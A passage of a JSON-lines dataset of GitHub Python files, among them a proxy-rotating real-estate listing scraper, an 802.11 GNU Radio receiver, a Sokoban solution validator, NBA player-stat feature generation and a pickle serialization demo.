data\n","repo_name":"markusthilo/IPFlower","sub_path":"python/lib/geolite2.py","file_name":"geolite2.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"37171693959","text":"# Scrapes the number of houses, condominiums, and aparments\n# for sale and for rent in each of the cities\nimport requests\nfrom bs4 import BeautifulSoup\nfrom multiprocessing import Pool\nfrom p_tqdm import p_map\nimport pandas as pd\nimport numpy as np\nimport random\nimport json\nfrom functools import partial\npropertyTypes = [\"house\", \"apartment\", \"condominium\"]\nofferTypes = ['buy', 'rent']\n\n#Rotate IP\nproxy = pd.read_csv(\"csv files\\\\Free_Proxy_List.csv\")\nproxy = proxy.to_dict('records')\n#urlTemplate \"https://www.lamudi.com.ph/{region}/{city-name}/{barangayName}/{propertyTypes}/{offerTypes}\"\n\ndfOrig = pd.read_csv(\"csv files\\\\CityData.csv\")\nunscrapedData = []\n\n# URL Template City https://www.lamudi.com.ph/{regionName}/{cityName}/{propertyType}/{offerType}/\ndef getNumPropertiesCity(data, propertyType, offerType):\n url = f\"https://www.lamudi.com.ph/{data['regionName']}/{data['cityName']}\" \\\n f\"/{propertyType}/{offerType}\"\n\n #Gets a random Proxy to use to get the page request\n randomProxy = proxy[random.randint(0, len(proxy)-1)]\n page = requests.get(url, proxies={'http': f\"http://{randomProxy['ip']}:{randomProxy['port']}\"})\n if page.status_code != 200:\n unscrapedData.append(data)\n print(data)\n print(propertyType, offerType)\n\n soup = BeautifulSoup(page.content, \"html.parser\")\n results = soup.find(\"span\", class_=\"CountTitle-number\")\n if results:\n numList = results.getText().replace(\",\", \"\")\n else:\n numList = 0\n data = [{\"regionName\": data['regionName'],\n \"cityName\": data['cityName'], \n f\"{propertyType}-{offerType}\": numList}]\n df = pd.DataFrame.from_dict(data)\n return df\n\n#Iterates through all available property type and offer type and checks each of the said unique combinations\nif __name__ == \"__main__\":\n print(\"Getting All Available Listings per Property Type and Offer Type\")\n allData = dfOrig.copy()\n with Pool(16) as p:\n for propertyType in propertyTypes:\n for offerType in offerTypes:\n dfMod = dfOrig\n data = p_map(partial(getNumPropertiesCity, propertyType= propertyType, \n offerType = offerType), dfMod.to_dict('records'))\n data = pd.concat(data,axis=0)\n allData = pd.merge(allData, data, on=[\"regionName\",\"cityName\"], how=\"outer\").fillna('void')\n allData.to_csv(\"csv files\\\\CityDataExpanded.csv\", index=False)\n\nwith open('unscrapedData.json', 'w') as f:\n json.dump(unscrapedData, f)","repo_name":"aronnicksnts/Ph-Real-Estate","sub_path":"numberOfListingScrape.py","file_name":"numberOfListingScrape.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32908557688","text":"import pandas as pd\r\nimport numpy as np\r\nimport torch\r\nfrom datetime import timedelta, datetime\r\n\r\n\r\ndef loadData(data): # !! it makes first col to row name !!\r\n df = pd.read_csv(data)\r\n df = df.set_index('0')\r\n\r\n return df\r\n\r\n\r\n\r\ndef getTimeStep(df): # columns to list\r\n inputList = list(map(int, df.columns.tolist()))\r\n return inputList\r\n\r\n\r\n\r\ndef oneDayIs48(inputList): # detect days which is not 48 timeStep \r\n # and return {day:timeStep} dictionary\r\n oneDay = 24 * 2 # 24h x 30min\r\n day = 195\r\n dayList = []\r\n tempDic = {}\r\n for i in range(len(inputList)):\r\n dayList.append(inputList[i]//100)\r\n while True:\r\n if dayList.count(day) != oneDay:\r\n tempDic[day] = dayList.count(day)\r\n day += 1\r\n if day == 731:\r\n break\r\n\r\n return tempDic\r\n\r\n\r\ndef countOmit(df): # sum(count NAN)\r\n return sum(df.isnull().sum())\r\n\r\n\r\n\r\ndef observe(df,customer,day): # return a day of customer\r\n dayList = []\r\n usage = []\r\n inputList = getTimeStep(df)\r\n TorF = False\r\n for i in range(len(inputList)):\r\n temp = inputList[i]//100\r\n if temp==day:\r\n TorF = True\r\n dayList.append(inputList[i])\r\n usage.append(df.loc[customer][i])\r\n elif TorF == True: break\r\n\r\n df = pd.DataFrame(np.array(usage)).transpose()\r\n df.columns = dayList\r\n df.index = [customer]\r\n return df\r\n\r\n\r\ndef findNAN(df):\r\n inputList = getTimeStep(df)\r\n NANcolumn = []\r\n \r\n for i in range(len(inputList)):\r\n if df[str(inputList[i])].isnull().values.any()==True:\r\n NANcolumn.append(inputList[i])\r\n\r\n return NANcolumn\r\n\r\n\r\n\r\ndef renameCol(df): # rename columns from Day195 to Day750\r\n colList = getTimeStep(df)\r\n colList.remove(73048)\r\n colList.remove(73047)\r\n day = 19500\r\n count = 0\r\n for i in range(536):\r\n time = 1\r\n for j in range(48):\r\n colList[count] = day + i*100 + time\r\n time += 1\r\n count += 1\r\n \r\n df = df.drop(columns=['73047','73048'])\r\n df.columns = colList\r\n return df\r\n\r\n\r\ndef renameRow(df): # rename index from 1 to 929\r\n id = [i for i in range(1,929+1)]\r\n df.index = id\r\n return df\r\n\r\n\r\n\r\ndef getIDtensor(id): # customer id to 31by 2 tensor\r\n IDtensor = torch.zeros([2,31])\r\n left = id // 31\r\n right = id % 31\r\n IDtensor[0,left] = 1\r\n IDtensor[1,right] = 1\r\n return IDtensor\r\n\r\n\r\n\r\ndef getMWDtensor(timestep): # returns Month Week Dat facor tensor\r\n day_0 = datetime(2009,7,1) # day 0 = 1st, July, 2009\r\n day_target = (timestep//100) - 195\r\n day = day_0 + timedelta(days=day_target)\r\n M = day.month \r\n W = day.isoweekday() # Monday:Sunday == 1:7\r\n D = day.day\r\n MWDtensor = torch.zeros([1,63])\r\n MWDtensor[0,M-1] = 1\r\n MWDtensor[0,12+W-1] = 1\r\n MWDtensor[0,19+D-1] = 1\r\n return MWDtensor\r\n\r\n\r\ndef getFactorTensor(id,timestep):\r\n ID = getIDtensor(id).view([1,62])\r\n MWD = getMWDtensor(timestep)\r\n factor = torch.cat([ID,MWD],dim=1)\r\n factor = factor.view([1,5,25])\r\n\r\n return factor\r\n\r\n\r\n\r\ndef testFunc(number): # toyCode for testing\r\n if number<0:\r\n raise ValueError\r\n return (\"even\" if number%2==0 else \"odd\")\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n \"\"\"Test whatever you want\"\"\"\r\n print(getFactorTensor(123,330).shape)\r\n print(getFactorTensor(123,330))\r\n pass","repo_name":"HongSungRae/timeSeries","sub_path":"dataProcess.py","file_name":"dataProcess.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"7734050122","text":"from gnuradio import eng_notation\nfrom gnuradio import fft\nfrom gnuradio import filter\nfrom gnuradio import gr\nfrom gnuradio import uhd\nfrom gnuradio import window\nfrom gnuradio.eng_option import eng_option\nfrom gnuradio.filter import firdes\nfrom gnuradio.gr import firdes\nfrom optparse import OptionParser\nimport gnuradio.ieee802_11 as gr_ieee802_11\n#import pmt_swig as pmt\nimport socket\n\nclass real_phy_rx(gr.top_block):\n def __init__(self, options, hostname):\n gr.top_block.__init__(self)\n\n ##################################################\n # Variables\n ##################################################\n window_size = options.window_size\n sync_length = options.sync_length\n gain = options.gain\n freq = options.freq\n samp_rate = options.bandwidth\n self.uhd_usrp_source_0 = uhd.usrp_source(device_addr=\"\", stream_args=uhd.stream_args(cpu_format=\"fc32\", channels=range(1)))\n\n self.uhd_usrp_source_0.set_samp_rate(samp_rate)\n self.uhd_usrp_source_0.set_center_freq(freq, 0)\n self.uhd_usrp_source_0.set_gain(gain, 0)\n self.ieee802_1_ofdm_sync_short_0 = gr_ieee802_11.ofdm_sync_short(0.8, 80 * 80, 2, False)\n self.ieee802_1_ofdm_sync_long_0 = gr_ieee802_11.ofdm_sync_long(sync_length, 100, False)\n self.ieee802_1_ofdm_equalize_symbols_0 = gr_ieee802_11.ofdm_equalize_symbols(False)\n self.ieee802_1_ofdm_decode_signal_0 = gr_ieee802_11.ofdm_decode_signal(False)\n self.ieee802_1_ofdm_decode_mac_0 = gr_ieee802_11.ofdm_decode_mac(False)\n self.ieee802_11_ofdm_parse_mac_0 = gr_ieee802_11.ofdm_parse_mac(True)\n self.gr_stream_to_vector_0 = gr.stream_to_vector(gr.sizeof_gr_complex*1, 64)\n self.gr_socket_pdu_0 = gr.socket_pdu(\"TCP_CLIENT\", hostname, str(options.PHYport), 10000)\n self.gr_skiphead_0 = gr.skiphead(gr.sizeof_gr_complex*1, 20000000)\n self.gr_multiply_xx_0 = gr.multiply_vcc(1)\n self.gr_divide_xx_0 = gr.divide_ff(1)\n self.gr_delay_0_0 = gr.delay(gr.sizeof_gr_complex*1, sync_length)\n self.gr_delay_0 = gr.delay(gr.sizeof_gr_complex*1, 16)\n self.gr_conjugate_cc_0 = gr.conjugate_cc()\n self.gr_complex_to_mag_squared_0 = gr.complex_to_mag_squared(1)\n self.gr_complex_to_mag_0 = gr.complex_to_mag(1)\n self.fir_filter_xxx_0_0 = filter.fir_filter_ccf(1, ([1]*window_size))\n self.fir_filter_xxx_0 = filter.fir_filter_fff(1, ([1]*window_size))\n self.fft_vxx_0 = fft.fft_vcc(64, True, (), True, 1)\n self.message_debug = gr.message_debug()\n ##################################################\n # Connections\n ##################################################\n self.connect((self.uhd_usrp_source_0, 0), (self.gr_skiphead_0, 0))\n self.connect((self.gr_skiphead_0, 0), (self.gr_complex_to_mag_squared_0, 0))\n self.connect((self.fir_filter_xxx_0, 0), (self.gr_divide_xx_0, 1))\n self.connect((self.gr_complex_to_mag_squared_0, 0), (self.fir_filter_xxx_0, 0))\n self.connect((self.gr_skiphead_0, 0), (self.gr_multiply_xx_0, 0))\n self.connect((self.gr_conjugate_cc_0, 0), (self.gr_multiply_xx_0, 1))\n self.connect((self.gr_complex_to_mag_0, 0), (self.gr_divide_xx_0, 0))\n self.connect((self.gr_multiply_xx_0, 0), (self.fir_filter_xxx_0_0, 0))\n self.connect((self.fir_filter_xxx_0_0, 0), (self.gr_complex_to_mag_0, 0))\n self.connect((self.gr_skiphead_0, 0), (self.gr_delay_0, 0))\n self.connect((self.gr_delay_0, 0), (self.gr_conjugate_cc_0, 0))\n self.connect((self.fft_vxx_0, 0), (self.ieee802_1_ofdm_equalize_symbols_0, 0))\n self.connect((self.ieee802_1_ofdm_equalize_symbols_0, 0), (self.ieee802_1_ofdm_decode_signal_0, 0))\n self.connect((self.ieee802_1_ofdm_decode_signal_0, 0), (self.ieee802_1_ofdm_decode_mac_0, 0))\n self.connect((self.ieee802_1_ofdm_sync_short_0, 0), (self.gr_delay_0_0, 0))\n self.connect((self.gr_delay_0, 0), (self.ieee802_1_ofdm_sync_short_0, 0))\n self.connect((self.gr_divide_xx_0, 0), (self.ieee802_1_ofdm_sync_short_0, 1))\n self.connect((self.gr_delay_0_0, 0), (self.ieee802_1_ofdm_sync_long_0, 1))\n self.connect((self.ieee802_1_ofdm_sync_short_0, 0), (self.ieee802_1_ofdm_sync_long_0, 0))\n self.connect((self.ieee802_1_ofdm_sync_long_0, 0), (self.gr_stream_to_vector_0, 0))\n self.connect((self.gr_stream_to_vector_0, 0), (self.fft_vxx_0, 0))\n\n ##################################################\n # Asynch Message Connections\n ##################################################\n self.msg_connect(self.ieee802_1_ofdm_decode_mac_0, \"out\", self.ieee802_11_ofdm_parse_mac_0, \"in\")\n self.msg_connect(self.ieee802_11_ofdm_parse_mac_0, \"out\", self.gr_socket_pdu_0, \"pdus\")\n #self.msg_connect(self.ieee802_11_ofdm_parse_mac_0, \"out\", self.message_debug, \"print\")\n\t#self.msg_connect(self.ieee802_11_ofdm_parse_mac_0, \"out\", self.message_debug, \"store\")\n \n\n def get_window_size(self):\n return self.window_size\n\n def set_window_size(self, window_size):\n self.window_size = window_size\n self.fir_filter_xxx_0_0.set_taps(([1]*self.window_size))\n self.fir_filter_xxx_0.set_taps(([1]*self.window_size))\n\n def get_sync_length(self):\n return self.sync_length\n\n def set_sync_length(self, sync_length):\n self.sync_length = sync_length\n self.gr_delay_0_0.set_delay(self.sync_length)\n\n def get_samp_rate(self):\n return self.samp_rate\n\n def set_samp_rate(self, samp_rate):\n self.samp_rate = samp_rate\n self.uhd_usrp_source_0.set_samp_rate(self.samp_rate)\n\n def get_gain(self):\n return self.gain\n\n def set_gain(self, gain):\n self.gain = gain\n self.uhd_usrp_source_0.set_gain(self.gain, 0)\n\n def get_freq(self):\n return self.freq\n\n def set_freq(self, freq):\n self.freq = freq\n self.uhd_usrp_source_0.set_center_freq(self.freq, 0)\n\ndef main():\n parser = OptionParser(option_class=eng_option, usage=\"%prog: [options]\")\n parser.add_option(\"-f\", \"--freq\", type=\"eng_float\",\n default = 5.825e9, help=\"set USRP2 carrier frequency, [default=%default]\",\n metavar=\"FREQ\")\n parser.add_option(\"-w\", \"--window-size\", type=\"int\", default=48 , help = \"set fir filter tap size [default=%default]\")\n parser.add_option(\"-s\", \"--sync-length\", type=\"int\", default=256 , help = \"sync length [default=%default]\")\n parser.add_option(\"-W\", \"--bandwidth\", type=\"eng_float\", default=1e7, help=\"set symbol bandwidth [default=%default]\\\n 20 MHz -> 802.11a/g, OFDM-symbol duration=4us, 10 MHz -> 802.11p, OFDM-symbolduration=8us\")\n parser.add_option(\"-g\", \"--gain\", type=\"int\", default=0 , help = \"set USRP2 Rx GAIN in [dB] [default=%default]\")\n parser.add_option(\"\", \"--PHYport\", type=\"int\", default=8500 , help=\"Socket port [default=%default] \")\n (options, args) = parser.parse_args()\n\n s = socket.socket()\n host = socket.gethostname() # Get local machine name\n# port = options.PHYport # Reserve a port for your service.\n# s.bind((\"\", port))\n# s.listen(1)\n \n tb = real_phy_rx(options,host)\n tb.start()\n #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #s.connect((socket.gethostname(), 12345))\n #i = 0\n #while True:\n # if tb.message_debug.num_messages() <=i :\n # print tb.message_debug.num_messages()\n # continue\n # i = i + 1\n # print i\t\n # paquete = self.message_debug.get_message(i)\n # s.send(paquete)\n# while 1:\n# server,data=s.accept()\n# data= server.recv(65536)\n# print data\n# if data == \"0000\":\n# print \"close session command received\"\n# server.close()\n# s.close()\n# break # Close the socket when done\n tb.wait()\n\nif __name__ == '__main__':\n\n try:\n\n main()\n\n except KeyboardInterrupt:\n\n pass\n","repo_name":"syifan/gr-ieee802-11","sub_path":"uwicore_80211_MAC/old/real_phy_rx.py","file_name":"real_phy_rx.py","file_ext":"py","file_size_in_byte":8082,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"36334910216","text":"from rest_framework.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\nfrom sk_map.serializers.map import MapDetailSerializer\nfrom sk_map.models import Map\nfrom collections import OrderedDict\nimport numpy as np\n\n\nclass GameSolutionValidator(object):\n \"\"\"\n This class used for validate solution of game level\n \"\"\"\n def __init__(self, map, solution):\n \"\"\"\n :param map: is a Map instance\n :param solution: is a json - format: [{x: 1, y: 2}, {x: 3, y: 4}, etc]\n :return: init of class\n \"\"\"\n self.map = MapDetailSerializer(Map.objects.get(id=map)).data\n self.solution = solution\n if not self.map['wall_set'] or not self.map['box_set'] or not self.map['men'] or not self.map['point_set']:\n raise ValidationError(_('Invalid map'))\n\n def create_matrix(self, data):\n \"\"\"\n :param data: dict, OrderedDict or list of dicts or OrderedDicts\n :return: np.array - matrix\n \"\"\"\n if isinstance(data, list):\n dicts = [dict(ord_dict) for ord_dict in data]\n result = [np.array([item['x'], item['y']]) for item in dicts]\n elif isinstance(data, OrderedDict) or isinstance(data, dict):\n result = np.array([data['x'], data['y']])\n else:\n raise ValidationError(_('Invalid data'))\n return result\n\n def __call__(self):\n\n # create matrix from serialized data\n walls = self.create_matrix(self.map['wall_set'])\n boxes = self.create_matrix(self.map['box_set'])\n men = self.create_matrix(self.map['men'])\n points = self.create_matrix(self.map['point_set'])\n steps = self.create_matrix(self.solution)\n\n # step_cases - player can move only one step, up, down, left, right\n step_cases = [np.array([0, 1]), np.array([1, 0]), np.array([0, -1]), np.array([-1, 0])]\n\n # solution is not valid if player start to move not from Men's position on Map\n if not np.array_equal(steps[0], men):\n return\n\n # wrong map - Boxes not equal with Points\n if np.array_equal(boxes, points):\n return\n\n # start to validate steps of solution\n for step_index, step in enumerate(steps):\n\n # wrong if step on wall\n if any((step == wall).all() for wall in walls):\n return\n\n if step_index != 0:\n diff = step - steps[step_index - 1]\n\n # wrong if jump more then one step\n if not any((diff == step_case).all() for step_case in step_cases):\n return\n\n # if we step on box - we move the box\n for box_index, box in enumerate(boxes):\n if np.array_equal(step, box):\n box = boxes.pop(box_index) + diff\n boxes.append(box)\n\n # stert to calculate covered points\n covered = 0\n for point_index, point in enumerate(points):\n for box_index, box in enumerate(boxes):\n if np.array_equal(point, box):\n covered += 1\n\n # if we covered all the points by boxes - map is done\n if covered == len(points):\n return True\n else:\n return\n\n def is_valid(self):\n return self.__call__()","repo_name":"chepe4pi/sokoban_api","sub_path":"sk_game/vallidators/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"4537297225","text":"class User:\t\t# here's what we have so far\n def __init__(self, name, email):\n self.name = name\n self.email = email\n self.account_balance = 0\n # adding the deposit method\n def make_deposit(self, amount):\t# takes an argument that is the amount of the deposit\n self.account_balance += amount\t# the specific user's account increases by the amount of the value received\n # make_withdrawal(self, amount) - have this method decrease the user's balance by the amount specified\n def make_withdrawal(self, amount):\n self.account_balance -= amount\n # display_user_balance(self) - have this method print the user's name and account balance to the terminal\n def display_user_balance(self):\n print(f\"User: {self.name}, Balance: ${self.account_balance}\")\n # BONUS: transfer_money(self, other_user, amount) - have this method decrease the user's balance by the amount and \n # add that amount to other other_user's balance\n def transfer_money(self, other_user, amount):\n other_user.account_balance += amount\n self.account_balance -= amount\n\nzahra = User('Zahra','zahra@gmail.com')\nlady_gaga = User('lady gaga', 'gaga@gmail.com')\nmarwa = User('marwa', 'cayoot@gmail.com')\n\nzahra.make_deposit(4000)\nzahra.make_deposit(2000)\nzahra.make_deposit(2000)\nzahra.make_withdrawal(300)\nzahra.display_user_balance()\n\nlady_gaga.make_deposit(220000)\nlady_gaga.make_deposit(150)\nlady_gaga.make_withdrawal(450)\nlady_gaga.make_withdrawal(1500)\nlady_gaga.display_user_balance()\n\nmarwa.make_deposit(5000)\nmarwa.make_withdrawal(2000)\nmarwa.make_withdrawal(400)\nmarwa.make_withdrawal(290)\nmarwa.display_user_balance()\n\nzahra.transfer_money(marwa, 1000)\nzahra.display_user_balance()\nmarwa.display_user_balance()","repo_name":"zahramughais/Mughais_Zahra_-User","sub_path":"user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72676467393","text":"import math\n\ntemp = open(\"trojki.txt\")\nfile = temp.readlines()\ntemp.close()\n\ndef isPrime(n):\n if n < 2:\n return False\n else:\n for i in range(2, int(math.sqrt(n))+1):\n if n%i == 0:\n return False\n return True\n \nprint(\"6.1\\n\") \nfor lines in file:\n temp = lines.rstrip()\n lines = lines.rstrip().split(\" \")\n a, b, c = lines[0], lines[1], lines[2]\n \n ab_sum = 0\n for numbers in a:\n ab_sum += int(numbers)\n for numbers in b:\n ab_sum += int(numbers)\n if ab_sum == int(c):\n print(temp)\n\nprint(\"\\n66.2\\n\")\nfor lines in file:\n temp = lines.rstrip()\n lines = lines.rstrip().split(\" \")\n a, b, c = int(lines[0]), int(lines[1]), int(lines[2])\n if isPrime(a) and isPrime(b) and a*b == c:\n print(temp)\n \nprint(\"\\n66.3\\n\")\nvalues = []\nsides = []\nfor lines in file:\n sides.append(lines.rstrip())\n lines = lines.rstrip().split(\" \")\n a, b, c = int(lines[0]), int(lines[1]), int(lines[2])\n if a**2 + b**2 == c**2 or b**2 + c**2 == a**2 or a**2 + c**2 == b**2:\n values.append(True)\n else:\n values.append(False)\n \nfor i in range(1, len(values)):\n if values[i-1] == values[i] == True:\n print(f\"{sides[i-1]}\\n{sides[i]}\")\n\nprint(\"\\n66.4\\n\") \ntriangular = []\nfor lines in file:\n sides.append(lines.rstrip())\n lines = lines.rstrip().split(\" \")\n a, b, c = int(lines[0]), int(lines[1]), int(lines[2])\n if a + b > c and a + c > b and c + b > a:\n triangular.append(True)\n else:\n triangular.append(False)\n\nlongest_sequence, sequence = 0, 1 \nfor i in range(1, len(triangular)):\n if triangular[i-1] == triangular[i] == True:\n sequence += 1\n longest_sequence = max(sequence, longest_sequence)\n else:\n sequence = 1\n \nprint(f\"{triangular.count(True)}\\n{longest_sequence}\")","repo_name":"zelazowska/matura_py","sub_path":"matura_zbiorek/066/threes.py","file_name":"threes.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"4615705338","text":"import os\n\nfrom services import ebs_data_service\nfrom services.list_service import load_list\nfrom . import ebs_analyzer_blueprint\nfrom .EbsAnalyzer import EbsAnalyzer as Analyzer\nfrom flask import current_app as app, request\n\n\n@ebs_analyzer_blueprint.route('/ebslists', methods=['POST'])\ndef ebslist():\n \"\"\"\n takes the information from the request body, loads the corresponding file and applies the selected model\n parameters provided as request form parameters:\n filename - the name of the file that holds the usage data\n model - the model name for the analysis\n mode - the mode of analysis to be applied\n limit - the amount of money to be distributed\n :return: the final price of the selected titles\n \"\"\"\n\n # reading parameters from HTTP-request\n ebs_filename = request.form['filename']\n ebs_model = request.form['model']\n ebs_mode = request.form['mode']\n ebs_limit = float(request.form['limit'])\n\n # prepare the base location for this module\n base_location = app.config.get(\"LIBINTEL_DATA_DIR\") + \"/ebslists/\"\n location = base_location + ebs_model + '/'\n if not os.path.exists(location):\n os.makedirs(location)\n\n # load the data from the data file in the upload directory\n ebs_titles = ebs_data_service.load_data(ebs_filename, ebs_model)\n\n # load the list of isbns for titles which are fixed to be selected. add these to the list of fixed titles, set the\n # selected boolean to true and reduce the amount of available money by the price\n fixed_isbns = load_list(ebs_model, module='ebslists', list_type='isbn', prefix='fixed')\n fixed_titles = []\n for title in ebs_titles:\n if title.isbn.strip() in fixed_isbns:\n title.selected = True\n fixed_titles.append(title)\n ebs_limit -= title.price\n\n # remove the fixed titles from the list of ebs titles.\n ebs_titles = [item for item in ebs_titles if item not in fixed_titles]\n\n # make the selection, i.e. set the boolean \"selected\" and weighting factors if necessary\n analyzer = Analyzer(ebs_mode)\n selected_sum = analyzer.make_selection(ebs_limit=ebs_limit, ebs_titles=ebs_titles)\n\n # add the fixed ebs titles to the list of selection\n ebs_titles += fixed_titles\n\n # persist the results to the database in order to offer them to the fachref-assistant\n # ebs_data_service.persist_ebs_list(ebs_titles)\n\n # save the results to a out-file in the upload directory\n ebs_data_service.save_ebs_list_file(ebs_titles, ebs_filename, ebs_model, ebs_mode)\n return '{} of {} were spent by selection'.format(selected_sum, ebs_limit)\n","repo_name":"ETspielberg/libintel_scripts","sub_path":"app/ebsanalyzer/ebs_analyzer_routes.py","file_name":"ebs_analyzer_routes.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"73236351873","text":"import pandas as pd\nimport yaml\nimport os\nimport sys\nfrom pathlib import Path\n\nhome_dir = Path('/Users/Liu/')\n\ngbm_build_dir = home_dir / 'NBA_Pro_Line_Analytics/GBM_model_build/'\nconfig_dir = gbm_build_dir / 'feature_generation_scripts/configs/'\n\nwith open(config_dir / 'dataset_config.yaml', 'r') as stream:\n try:\n dataset_config = yaml.load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n\n#loads in parameter config containing averge metrics\nwith open(config_dir / 'player_metrics' / 'avg_metric_features.yml' , 'r') as stream:\n try:\n player_metric_config = yaml.load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n\nscripts_dir = os.path.join(gbm_build_dir, 'model_build_scripts')\nsys.path.insert(1, scripts_dir)\n\nimport helpers\n\n#Function used to create indicators for whether a player recorded double digit stats for any of the categories\n#listed in stats_cols\ndef double_digit_ind(df, stat_cols = ['PTS', 'A', 'TOT', 'BL', 'ST'] ):\n '''\n Function used to generate indicators for whether the player has recorded double\n '''\n cols_needed = []\n for stat in stat_cols:\n col_name = stat + '_doub_digit_ind'\n cols_needed.append(col_name)\n df[col_name] = df[stat].apply(lambda x: 1 if x >= 10 else 0)\n\n df['num_cats_doub_digit'] = df[cols_needed].sum(axis = 1)\n\nplayer_dir = home_dir / 'NBA_Pro_Line_Analytics/raw_data/NBA_Player_Stats_2010-2019/'\n\noutput_dir = helpers.ensure_dir_exists(home_dir / 'NBA_Pro_Line_Analytics/model_build_data/NBA_Player_Stats_2010-2019_rollling_avg/')\n\ni = 0\n\nfor data in dataset_config['NBA_Player_stats_raw']:\n print(f'Now reading in datset {data}')\n player_stats = pd.read_excel(player_dir / data, sheet_name=0)\n\n print(f'Renaming features:')\n player_stats = player_stats.rename(columns = {'PLAYER \\nFULL NAME': 'player_name',\n 'OWN \\nTEAM': 'player_team',\n 'OPPONENT \\nTEAM': 'opposing_team',\n 'VENUE\\n(R/H)': 'venue',\n 'STARTER\\n(Y/N)': 'starter_ind',\n 'USAGE \\nRATE (%)': 'usage_rate',\n 'DAYS\\nREST': 'days_rested',\n 'PLAYER-ID' : 'player_id'\n })\n\n double_digit_ind(player_stats)\n #Indicators used to generate whether a player has recorded a triple double or double double\n player_stats['triple_double_ind'] = player_stats['num_cats_doub_digit'].apply(lambda x: 1 if x == 3 else 0)\n player_stats['double_double_ind'] = player_stats['num_cats_doub_digit'].apply(lambda x: 1 if x == 2 else 0)\n player_stats['efficiency'] = player_stats['PTS'] + player_stats['TOT'] + player_stats['ST'] + player_stats['BL'] - player_stats['TO'] - (player_stats['FGA'] - player_stats['FG'])\n player_stats['TS_pct'] = player_stats['PTS'] / (2 * (player_stats['FGA'] + .44 * player_stats['FTA']) )\n # Computes the rolling mean from the data\n for key, value in player_metric_config.items():\n print(f'Now computing {key} for {data}')\n player_stats = player_stats.set_index(['GAME-ID'])\n poww = pd.DataFrame()\n for player in player_stats.player_id.unique():\n temp_df = player_stats[player_stats.player_id == player]\n if value['method_of_compute'] == 'mean':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).mean().shift().reset_index()\n key_name = value['column_required']\n elif value['method_of_compute'] == 'sum':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n key_name = value['column_required']\n elif value['method_of_compute'] == 'pct_calc':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n aa[value['Parameter_Name']] = aa[value['column_required'][0]] / aa[value['column_required'][1]]\n aa = aa.drop(columns = value['column_required'], axis = 1)\n key_name = value['Parameter_Name']\n elif value['method_of_compute'] == 'eff_pct_calc':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n aa[value['Parameter_Name']] = (aa[value['column_required'][0]] + .5 * aa[value['column_required'][1]]) / aa[value['column_required'][2]]\n aa = aa.drop(columns = value['column_required'], axis = 1)\n key_name = value['Parameter_Name']\n elif value['method_of_compute'] == 'ts_pct_calc':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n aa[value['Parameter_Name']] = aa[value['column_required'][0]] /(2 * ( aa[value['column_required'][1]] + .44 * aa[value['column_required'][2]]))\n aa = aa.drop(columns = value['column_required'], axis = 1)\n key_name = value['Parameter_Name']\n poww = poww.append(aa)\n poww = poww.rename(columns={key_name: key})\n\n player_stats = player_stats.reset_index().merge(poww, how='left', on=['player_id', 'GAME-ID'])\n\n player_stats.to_csv(output_dir / dataset_config['NBA_Player_stats_w_rolling_avg'][i], index= False)\n\n i += 1\n","repo_name":"willyliu517/NBA_Pro_Line_Analytics","sub_path":"GBM_model_build/feature_generation_scripts/generate_player_rolling_avg_features.py","file_name":"generate_player_rolling_avg_features.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"4489205342","text":"#序列化\n#把变量从内存中变成可存储或传输的过程称之为序列化\n#在 Python中叫 pickling,在其他语言中也被称之为 serialization,marshalling,flattening 等等\n#反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化,即 unpickling\n\nimport pickle\nd = dict(name='scott',age=22,score=80)\ns = pickle.dumps(d)#将对象序列化\nprint(s)\n#pickle.dumps()方法把任意对象序列化成一个 bytes,然后,就可以把这\n#个 bytes 写入文件。或者用另一个方法 pickle.dump()直接把对象序列化\n#后写入一个 file-like Object:\n\nf = open('dump.txt','wb')\npickle.dump(d,f) #\nf.close()\n\n","repo_name":"nikelily/PyLearn-Codes","sub_path":"160915/pickling.py","file_name":"pickling.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
